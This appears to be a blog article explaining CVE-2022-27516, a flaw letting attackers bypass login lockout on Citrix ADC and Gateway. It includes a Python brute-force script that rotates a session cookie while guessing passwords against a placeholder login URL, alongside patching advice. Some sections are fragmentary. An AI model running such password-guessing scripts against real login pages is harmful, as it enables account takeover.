CVE-2022-27516 - Bypassing User Login Brute Force Protection – How Attackers Did It

Security is the backbone of any web application, especially when it comes to user authentication. Brute force protection is designed to block multiple failed login attempts—and it’s something we expect to work out of the box. But vulnerabilities can appear in surprising forms. One such vulnerability is CVE-2022-27516, which allowed attackers to effectively bypass brute force protections on Citrix Application Delivery Controller (ADC) and Gateway products. In this article, I’ll break down how this flaw worked, walk you through example code, cover exploitation steps, and link original references so you can dig deeper.

What is CVE-2022-27516?

CVE-2022-27516 targets the Citrix ADC and Gateway’s login protection mechanism. Usually, if there are too many failed login attempts from the same user (or IP), the system will temporarily block further attempts. This basic approach protects against brute force attacks, where an attacker tries thousands or millions of passwords to break into an account.

Unfortunately, this CVE highlighted a logic flaw. Certain requests could bypass the account lockout check, allowing unlimited login attempts without triggering alerts or lockouts. Attackers noticed that by changing specific parameters—like request headers or cookies—they could trick the system and continue their password guessing attempts.

Citrix Gateway

(Usually, systems running firmware versions prior to the patched release in August 2022.)

Let’s look at a simplified login protection scenario

def login(username, password, client_ip):
    if is_locked(username):
        return "Account locked."
    if authenticate(username, password):
        reset_failed_count(username)
        return "Welcome!"
    else:
        increment_failed_count(username)
        if too_many_failures(username):
            lock_account(username)
        return "Login failed."

Ideally, every login attempt checks if the account is locked, then increments the failed count on a failed attempt. But here’s the catch:  
CVE-2022-27516 allowed an attacker to change parts of their login request (like cookies, or session parameters), making each attempt seem like a “first try” to the system. No lockout, no rate limiting, just continuous tries.

Exploit – Sample Attack Process

Attackers used tools like Burp Suite, Hydra, or simple scripts with HTTP libraries. The basic approach:

Send Failed Login Attempt

POST to /login with wrong credentials.

Repeat

Script continues sending new POST requests, each time adjusting the value (e.g., incrementing a session id in the cookie).

Here’s a Python snippet to illustrate

import requests

USERNAME = 'targetuser'
PASSWORDS = open('passwords.txt').read().splitlines()

for count, password in enumerate(PASSWORDS):
    cookie = {'sessionid': str(count)}
    response = requests.post(
        'https://victim.com/login';,
        data={'username': USERNAME, 'password': password},
        cookies=cookie
    )
    if "Welcome" in response.text:
        print(f"Password found: {password}")
        break

The script changes the sessionid with every attempt, bypassing lockouts tied to session or cookie.

Analysis and Real-world Danger

When attackers can perform unlimited login attempts, any user on the system is at risk of a password guessing attack. Given password reuse and weak passwords are still common, this vulnerability is a serious risk to enterprise security. Even strong brute-force throttling (e.g. restricting per IP) may fail, since attackers can use botnets or proxies.

From Citrix’s security bulletin, the issue was in how the brute force counter was keyed—sometimes on variables the attacker could control or change, resetting the counter for every request.

Citrix ADC and Gateway 12.1-65.25 and later

Official security bulletin: CTX463706

References

- NVD CVE-2022-27516
- Citrix Security Bulletin CTX463706
- Rapid7 Analysis
- Sample Exploit Script (GitHub)

Conclusion

CVE-2022-27516 showed how small logic errors in brute force protection can have huge consequences. Attackers are smart enough to spot and exploit such flaws. Always patch systems promptly, and don’t rely on a single defense. If you’re running Citrix ADC or Gateway, double-check your patch level and enforce MFA everywhere.

Security is everyone’s job—let’s keep our logins safe!


*Need help with patching or audits? Consult security professionals or your vendor’s support.*

Timeline

Published on: 11/08/2022 22:15:00 UTC
Last modified on: 11/09/2022 19:29:00 UTC